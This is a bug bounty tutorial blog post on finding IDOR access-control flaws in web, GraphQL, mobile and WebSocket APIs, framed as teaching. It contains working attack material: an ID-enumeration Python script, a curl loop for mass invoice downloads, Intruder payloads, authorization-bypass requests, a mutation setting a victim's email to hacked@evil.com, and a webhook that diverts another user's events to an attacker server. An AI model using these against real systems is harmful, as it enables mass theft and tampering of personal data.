The Numbers That Should Scare You (Or Excite You)

A single bug bounty hunter reported IDOR vulnerabilities that exposed 250,000,000 user records.

Not a typo. Quarter of a billion.

According to HackerOne's 2025 data, IDOR and access control bugs increased 18–29% year-over-year. In medical technology, IDOR represents 36% of all bounties paid. Government programs? 18%. Professional services? 31%.

The collective financial impact of access control failures? Over $1 billion annually.

Yet most hunters test for IDOR wrong. They change user_id=123 to user_id=124, see it doesn't work, and give up.

Meanwhile, researchers who understand what IDOR actually is are finding critical bugs in places others don't even look.

This isn't another "change the ID parameter" tutorial. This is the complete IDOR playbook — from basic concepts to advanced techniques that even experienced hunters overlook.

What IDOR Really Is (And Why You're Thinking About It Wrong)

The Wrong Way to Think About IDOR

Most guides say: "IDOR is when you change an ID in a URL and access someone else's data."

This is incomplete and misleading.

None

The Right Way to Think About IDOR

IDOR is any situation where:

  1. The application uses user-supplied input to reference an object
  2. The application fails to verify if you're authorized to access that object
  3. You can manipulate that reference to access unauthorized data

The "object" can be:

  • Database records (users, orders, messages)
  • Files (documents, images, invoices)
  • Functions (delete, update, export)
  • Endpoints (API routes)
  • Resources (cloud storage, database entries)

The "reference" can be:

  • Numeric IDs (user_id=123)
  • UUIDs (id=550e8400-e29b-41d4-a716-446655440000)
  • Hashed values (session=a1b2c3d4e5f6)
  • Encoded strings (Base64, hex, custom encoding)
  • Filenames (invoice_2024.pdf)
  • Email addresses
  • Usernames
  • And combinations of all the above

The IDOR Taxonomy: Every Type Explained

Type 1: Direct Reference IDOR (The Classic)

What it looks like:

https://bank.com/account?id=12345

The vulnerability: Server returns account #12345 without checking if YOU own it.

Test:

Original: https://bank.com/account?id=12345 (your account)
Modified: https://bank.com/account?id=12346 (someone else's)

If you see account #12346's data → IDOR exists.

Type 2: Indirect Reference IDOR (Second-Order)

What it looks like: User inputs data that's stored, then used later to reference objects.

Real example:

Step 1: Update profile, set "favorite_user" = 999

POST /profile/update
{"favorite_user": "999"}

Step 2: View favorites page

GET /favorites
Server uses your "favorite_user" value to fetch user #999's data
Shows you their private information!

Why it's dangerous: The IDOR doesn't happen immediately where you input data — it happens later when that data is used.

Type 3: Blind IDOR (No Direct Feedback)

What it looks like: You manipulate an ID, but don't see the result directly.

Examples:

  • Deleting another user's photo (no confirmation message)
  • Unsubscribing someone from emails (silent action)
  • Modifying another user's settings (changes apply without notification)

How to detect: Create two test accounts:

  1. Perform action on Account A
  2. Change ID to reference Account B's object
  3. Check Account B — did the action affect it?

Real test:

# Logged in as user 100
DELETE /api/photos/delete
{"photo_id": "456"}  # This is user 200's photo

# Check by logging in as user 200
# Is photo 456 gone? → Blind IDOR confirmed

Type 4: UUID/Non-Sequential IDOR

What developers think: "We use UUIDs, so IDOR is impossible — they're not guessable!"

Reality: UUIDs often leak elsewhere in the application.

Where UUIDs leak:

✓ API responses (other endpoints)
✓ JavaScript files
✓ Public profile URLs
✓ Notification emails
✓ Shared links
✓ WebSocket messages
✓ Error messages
✓ HTML source comments

Real example:

POST /api/create-post
Response:
{
  "post_id": "550e8400-e29b-41d4-a716-446655440000",
  "author_id": "7c9e6679-7425-40de-944b-e07fc1f90ae7"  ← LEAKED!
}

Now test:
GET /api/user/profile?user_id=7c9e6679-7425-40de-944b-e07fc1f90ae7

Technique: UUID Enumeration via Mass Assignment

POST /api/user/update
{
  "name": "John",
  "email": "john@test.com",
  "user_id": "INJECTED-UUID-HERE"  ← Try injecting
}

Sometimes the server accepts user_id in the request body even if it's not supposed to be there!

Type 5: Encoded/Obfuscated IDOR

What it looks like:

https://app.com/invoice?file=aW52b2ljZV8xMjMucGRm

Decode Base64:

echo "aW52b2ljZV8xMjMucGRm" | base64 -d
# Output: invoice_123.pdf

Now you know the pattern!

Test:

invoice_124.pdf → Base64 → aW52b2ljZV8xMjQucGRm

Access: https://app.com/invoice?file=aW52b2ljZV8xMjQucGRm

Other encoding patterns:

  • Hex: 75736572313233 = user123
  • URL encoding: user%2F123
  • Custom encoding (reverse, ROT13, XOR)
  • MD5/SHA hashes (look for patterns)

Type 6: Composite IDOR (Multiple Parameters)

What it looks like:

GET /api/message?user_id=100&message_id=456

The vulnerability: Server checks if message #456 exists, but doesn't verify user #100 owns it.

Test matrix:

Your account (user_id=100):
✓ message_id=456 (yours) → Works
✓ message_id=457 (someone else's) → Also works! (IDOR)

Someone else's account (user_id=200):
? message_id=456 (your message)
? message_id=789 (their message)

Burp Suite Intruder payload:

Position 1: user_id=§100§
Position 2: message_id=§456§

Test all combinations:
user_id=100, message_id=456
user_id=100, message_id=457
user_id=200, message_id=456
...

Type 7: Function-Level IDOR

What it looks like: The IDOR isn't in viewing data — it's in actions you can perform.

Examples:

DELETE /api/users/123  → Can you delete user #123?
PUT /api/roles/456     → Can you change role #456?
POST /api/admin/ban    → Can you ban users without admin rights?

Real example from research:

POST /api/account/close
{
  "account_id": "98765"
}

# If account_id is accepted from POST body instead of session:
# You can close ANY account!

The Hunter's Methodology: Finding IDOR Systematically

Phase 1: Reconnaissance (Map Every Object)

Step 1: Identify all ID parameters

# In Burp Suite:
# Proxy → HTTP History → Right-click → "Find references"

# Search for patterns:
id=
user_id=
uid=
account_id=
order_id=
invoice_id=
doc_id=
file_id=
post_id=
comment_id=

Step 2: Catalog object types

Create a spreadsheet:

None

Step 3: Map CRUD operations

For each object, find:

  • Create: POST /api/posts/create
  • Read: GET /api/posts/123
  • Update: PUT /api/posts/123
  • Delete: DELETE /api/posts/123

Test IDOR on all four operations.

Phase 2: The Testing Matrix

Create two accounts (minimum)

None

Optional: Third account for privilege escalation

  • Admin account (if possible)
  • Premium user
  • Different organization/tenant

Testing workflow:

1. Logged in as Attacker (user_id=100):
   Create object → Note its ID
2. Logged in as Victim (user_id=200):
   Create object → Note its ID
3. Logged in as Attacker again:
   Try to access Victim's object
   Try to modify Victim's object
   Try to delete Victim's object
4. Check as Victim:
   Did action succeed?

Phase 3: Advanced Discovery Techniques

Technique #1: Parameter Pollution

Even if you don't see an ID parameter, try adding it:

# Original request
POST /api/profile/update
Content-Type: application/json

{"name": "John"}
# Modified request
POST /api/profile/update
Content-Type: application/json
{
  "name": "John",
  "user_id": 200  ← ADD THIS
}

Sometimes it works! The server might accept the extra parameter.

Technique #2: HTTP Method Switching

# GET is protected
GET /api/user/123  → 403 Forbidden

# Try POST
POST /api/user/123  → 200 OK (returns data!)
# Try PUT
PUT /api/user/123
{} → 200 OK (modifies user!)

Technique #3: Content-Type Manipulation

# JSON is protected
POST /api/user/update
Content-Type: application/json
{"user_id": 200}
→ 403 Forbidden

# Try form-encoded
POST /api/user/update
Content-Type: application/x-www-form-urlencoded
user_id=200
→ 200 OK (works!)

Technique #4: Header Injection

GET /api/profile HTTP/1.1
Host: api.company.com
X-User-ID: 200  ← Try custom headers
X-Account-ID: 200
X-Client-ID: 200
X-Original-User: 200

Technique #5: Cookie Manipulation

Cookie: session=abc123; user_id=100

# Change to:
Cookie: session=abc123; user_id=200
# Or inject new cookie:
Cookie: session=abc123; account_id=200

The Secret Weapons: Tools & Automation

Tool #1: Burp's Autorize Extension

What it does: Automatically tests every request with different user sessions.

Setup:

  1. Install Autorize (Burp → Extender → BApp Store)
  2. Configure:
  • Set low-privilege user session (Attacker)
  • Set victim/admin session (Victim)
  1. Browse app as Attacker
  2. Autorize automatically replays each request with Victim's session
  3. Flags potential IDOR if responses differ

Why it's powerful: Tests thousands of requests automatically while you browse.

Tool #2: Custom Python Script

import requests

def test_idor(base_url, endpoint, id_param, start_id, end_id, token):
    """
    Test IDOR by iterating through IDs
    """
    headers = {"Authorization": f"Bearer {token}"}
    
    findings = []
    
    for user_id in range(start_id, end_id + 1):
        url = f"{base_url}{endpoint}?{id_param}={user_id}"
        
        response = requests.get(url, headers=headers)
        
        if response.status_code == 200:
            # Check if response contains sensitive data
            if any(keyword in response.text for keyword in 
                   ["email", "phone", "ssn", "address", "password"]):
                findings.append({
                    "id": user_id,
                    "url": url,
                    "status": response.status_code,
                    "snippet": response.text[:200]
                })
                print(f"[!] Potential IDOR at ID {user_id}")
    
    return findings
# Usage
findings = test_idor(
    base_url="https://api.target.com",
    endpoint="/user/profile",
    id_param="user_id",
    start_id=1,
    end_id=1000,
    token="your_auth_token_here"
)
print(f"\nFound {len(findings)} potential IDORs!")

What This Code Does — Simple Explanation

This is an IDOR scanner — it automatically checks if a website lets you peek at other users' data just by changing the ID number in the URL.

Think of it like this: Imagine a website shows your profile at:

https://api.target.com/user/profile?user_id=42

What if you just change 424344... and the server gives you someone else's data? That's IDOR. This script does that automatically for 1000 users.

Tool #3: Burp Intruder Payloads

Simple numeric enumeration:

Payload type: Numbers
From: 1
To: 10000
Step: 1

UUID brute force (if pattern found):

# If UUIDs follow pattern:
550e8400-e29b-41d4-a716-4466554400§00§

Payload: Hex (00-FF)

Base64 encoded IDs:

# Original: dXNlcjEwMA== (user100)
# Pattern: user[NUMBER]

Payload:
1. Generate: user1, user2, ... user1000
2. Process: Base64 encode
3. Test each encoded value

GraphQL IDOR: The Overlooked Goldmine

GraphQL apps often have worse access control than REST APIs.

Finding GraphQL Endpoints

# Common paths
/graphql
/api/graphql
/v1/graphql
/query
/api

# Check for introspection
POST /graphql
{
  "query": "{ __schema { types { name } } }"
}

Testing GraphQL IDOR

Query example:

query {
  user(id: 123) {
    id
    name
    email
    privateData
  }
}

Test:

# Your ID
query { user(id: 100) { email } }  → your@email.com

# Someone else's ID
query { user(id: 200) { email } }  → victim@email.com (IDOR!)

Advanced: Batch queries

query {
  user1: user(id: 100) { email }
  user2: user(id: 101) { email }
  user3: user(id: 102) { email }
  ...
  user100: user(id: 200) { email }
}

Extract 100 users in one request!

GraphQL Mutation IDOR

mutation {
  updateUser(id: 200, input: {email: "hacked@evil.com"}) {
    success
  }
}

If id: 200 isn't yours and it works → Critical IDOR!

Mobile App IDOR: Less Competition, More Bugs

Mobile apps are IDOR goldmines because:

  • Less hunters test mobile apps
  • APIs prioritize speed over security
  • Client-side validation gives false sense of security

Finding Mobile IDOR

Step 1: Intercept traffic (Burp + Android/iOS)

Step 2: Identify API calls

POST /api/v2/user/123/profile
GET /api/messages?user_id=100
DELETE /api/photos/456

Step 3: Test in API client (Postman/Insomnia)

# Original mobile request
GET /api/v2/user/123/profile
Authorization: Bearer abc123xyz

# Test with different ID
GET /api/v2/user/456/profile
Authorization: Bearer abc123xyz

Step 4: Check response

{
  "user_id": 456,
  "name": "Victim User",
  "email": "victim@example.com",  ← LEAKED!
  "phone": "+1234567890",          ← LEAKED!
  "ssn_last4": "6789"              ← CRITICAL!
}

Mobile-Specific IDOR Patterns

Pattern #1: Batch operations

POST /api/users/batch
{
  "user_ids": [100, 200, 300, 400, 500]
}

Response: Returns data for ALL users (even those not yours!)

Pattern #2: Pagination exploitation

GET /api/messages?user_id=100&page=1&limit=1000

# Change user_id:
GET /api/messages?user_id=200&page=1&limit=1000

The Rare IDOR Types (That Pay Well)

IDOR Type: File Download

Pattern:

GET /download?file=invoice_12345.pdf

Test:

invoice_12346.pdf
invoice_12347.pdf
...

Automated:

for i in {12340..12400}; do
  curl -O "https://app.com/download?file=invoice_$i.pdf" \
    -H "Authorization: Bearer YOUR_TOKEN"
done

IDOR Type: Export Functions

GET /api/export?user_id=100&format=csv

# Exports YOUR data as CSV
GET /api/export?user_id=200&format=csv
# Exports VICTIM's data! (IDOR)

Why it's valuable: Export often includes ALL user data — emails, transactions, personal info.

IDOR Type: WebSocket Messages

// WebSocket connection
ws://app.com/live

// Send message
{
  "action": "get_user_data",
  "user_id": 100
}
// Try:
{
  "action": "get_user_data",
  "user_id": 200  ← Test different ID
}

IDOR Type: Webhook Callbacks

POST /api/webhook/register
{
  "url": "https://your-server.com/callback",
  "user_id": 200  ← Register for another user's events
}

# You now receive their notifications/data!

Bypassing IDOR "Protections"

Bypass #1: Wildcard/Array Injection

# Blocked
GET /api/user?id=200

# Bypassed
GET /api/user?id[]=200
GET /api/user?id=*
GET /api/user?id=100,200,300

Bypass #2: Negative Numbers

GET /api/user?id=-1  → Returns first user
GET /api/user?id=-2  → Returns second user

Bypass #3: Special Characters

GET /api/user?id=200%00  (null byte)
GET /api/user?id=200%0a  (newline)
GET /api/user?id=200;    (semicolon)
GET /api/user?id=200'    (SQL injection attempt)

Bypass #4: Race Conditions

import requests
import threading

def delete_photo(photo_id):
    requests.delete(f"https://api.com/photos/{photo_id}")

# Send 10 simultaneous requests
threads = []
for _ in range(10):
    t = threading.Thread(target=delete_photo, args=(999,))
    threads.append(t)
    t.start()

# Sometimes one request succeeds before auth check completes!

The Ultimate IDOR Checklist

□ Tested all numeric IDs (increment/decrement)
□ Tested all UUIDs (looked for leaks)
□ Tested encoded IDs (Base64, hex, custom)
□ Tested in URL parameters
□ Tested in POST body
□ Tested in headers
□ Tested in cookies
□ Tested all HTTP methods (GET, POST, PUT, DELETE, PATCH)
□ Tested with parameter pollution (added extra params)
□ Tested different Content-Types
□ Tested GraphQL queries/mutations
□ Tested mobile API endpoints
□ Tested file download/upload
□ Tested export functions
□ Tested WebSocket messages
□ Tested with two separate accounts
□ Tested blind IDORs (checked impact on victim account)
□ Tested second-order IDORs (delayed execution)
□ Automated testing with Burp Intruder/custom scripts
□ Used Autorize extension for session comparison
□ Documented every finding with proof-of-concept

Writing Reports That Get Paid

Bad Report

Title: IDOR

I found IDOR on /api/user endpoint.

Steps:
1. Change ID
2. See other user data

Fix it.

This gets rejected.

Good Report

Title: Horizontal Privilege Escalation via IDOR in User Profile API Allows 
       Unauthorized Access to 2M+ User Records

Severity: Critical (CVSS 9.1)

Executive Summary:
The /api/v2/user/profile endpoint fails to implement object-level authorization,
allowing any authenticated user to access the complete profile data of any other
user by manipulating the user_id parameter. This affects approximately 2,000,000
registered users and exposes PII including email addresses, phone numbers,
physical addresses, and purchase history.

Vulnerability Details:
The application uses sequential numeric user IDs (1 through 2,000,000+) without
server-side validation. The endpoint trusts the user_id parameter from the client
without verifying ownership.

Steps to Reproduce:
1. Environment:
   - Web application: https://app.target.com
   - API endpoint: https://api.target.com/v2/user/profile
   - Tested on: Chrome 120, Burp Suite Professional
2. Create two test accounts:
   Account A: testuser1@example.com (user_id: 1584920)
   Account B: testuser2@example.com (user_id: 1584921)

3. Log in as Account A, capture authentication token:
   Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

4. Make legitimate request to view own profile:
   GET /api/v2/user/profile?user_id=1584920 HTTP/1.1
   Host: api.target.com
   Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
   Response (200 OK):
   {
     "user_id": 1584920,
     "email": "testuser1@example.com",
     "full_name": "Test User One",
     ...
   }

5. Modify user_id to access Account B's profile:
   GET /api/v2/user/profile?user_id=1584921 HTTP/1.1
   Host: api.target.com
   Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
   Response (200 OK):  ← SHOULD BE 403 FORBIDDEN!
   {
     "user_id": 1584921,
     "email": "testuser2@example.com",  ← EXPOSED!
     "full_name": "Test User Two",      ← EXPOSED!
     "phone": "+1-555-0100",            ← EXPOSED!
     "address": "123 Main St, City",    ← EXPOSED!
     "purchase_history": [...]          ← EXPOSED!
   }

6. Enumeration proof:
   Sequential IDs from 1 to 2,000,000 are valid.
   Automated enumeration script (provided below) retrieved 100 profiles
   in under 2 minutes without rate limiting.

Impact Analysis:

Data Exposure:
- 2,000,000+ user profiles accessible
- PII exposed: email, phone, address, purchase history
- No rate limiting allows mass enumeration

Business Impact:
- GDPR violation (unauthorized data processing)
- Privacy breach affecting all users
- Potential for targeted phishing attacks
- Account takeover risk (if combined with other bugs)

Attack Scenarios:
1. Competitor scrapes entire user database
2. Attacker builds targeted phishing campaign using real names/emails
3. Data sold on dark web markets
4. Combined with password reset bug for account takeover

Proof of Concept:
Python script for enumeration:
[attachment: idor_poc.py]
Video demonstration:
[attachment: idor_demo.mp4]
Screenshots:
- screenshot1.png: Legitimate request (own profile)
- screenshot2.png: Malicious request (victim profile)
- screenshot3.png: Enumeration results (100 users)

This gets accepted and paid well.

The Secret Patterns Nobody Talks About

Pattern #1: The "Current" Keyword Trick

Some apps use keywords instead of IDs:

GET /api/user/current/profile  → Your profile

But the backend code might be:

userId = request.params.user || 'current';
if (userId === 'current') {
  userId = session.user_id;
}
// Then fetches data for userId

Test:

GET /api/user/123/profile  → Works! (IDOR)

Pattern #2: The Negative ID Exploit

# Backend code (vulnerable)
user_id = abs(int(request.GET['id']))

# If user_id = -123, it becomes 123
# Bypasses some validation logic

Test:

GET /api/user?id=-123
GET /api/user?id=-456

Pattern #3: The Mass Assignment IDOR

POST /api/profile/update
{
  "name": "John",
  "email": "john@test.com"
}

# Add user_id:
{
  "name": "John",
  "email": "john@test.com",
  "user_id": 200  ← Server might accept this!
}

If successful, you just updated user #200's profile!

Pattern #4: The Export IDOR Chain

Step 1: Request export
POST /api/export/request
{
  "format": "csv",
  "user_id": 200  ← Victim's ID
}
Response:
{
  "export_id": "abc123",
  "status": "processing"
}
Step 2: Download export
GET /api/export/download?id=abc123
# Downloads victim's complete data!

Real-World Bounties & Lessons

Finding #1: Banking App IDOR ($3,500)

Vulnerability: Transaction history accessible via transaction_id without ownership validation

Lesson: Test financial endpoints aggressively — they pay well

Finding #2: Healthcare Portal ($5,000)

Vulnerability: Medical records accessible by changing patient_id parameter

Lesson: Healthcare data = high severity = high bounty

Finding #3: E-commerce Platform (Reported, Duplicate)

Vulnerability: Order details viewable by incrementing order_id

Lesson: Popular endpoints get tested heavily — look for obscure features

Finding #4: SaaS Application ($2,000)

Vulnerability: Organization data leaked through UUID enumeration

Lesson: UUIDs don't protect you if they leak elsewhere

Final Thoughts

IDOR isn't dead. It's evolved.

The simple "change user_id=123 to user_id=124" technique still works sometimes. But competition is high.

The researchers' findings on six-figure bounties from IDOR are:

  • Testing ALL parameters (not just obvious IDs)
  • Looking in mobile apps (less competition)
  • Testing GraphQL (often overlooked)
  • Using automation (Autorize, custom scripts)
  • Testing blind IDOR (delayed impact)
  • Finding UUID leaks (enumeration still possible)
  • Chaining multiple IDOR (escalating impact)

One researcher exposed 250,000,000 records through IDOR bugs.

The opportunity is real.

The question: Will you test deeper than everyone else?

Transparency Note

This guide synthesizes data from HackerOne's 2025 Hacker Report, Intigriti's IDOR guide, Bugcrowd research, ZSeano's documented findings, real bug bounty reports from Medium and BugBountyHunter.com, and established security testing methodologies. Statistics on IDOR prevalence (18–36% across industries, $1B+ annual impact) are from publicly available security industry reports. All techniques described are for authorized security testing only. Always follow responsible disclosure and bug bounty program rules.

Tags: #IDOR #BugBounty #BrokenAccessControl #APISecurityTesting #GraphQLSecurity #MobileAppSecurity #WebSecurity #EthicalHacking #Pentesting #CyberSecurity #BugBountyTips #SecurityResearch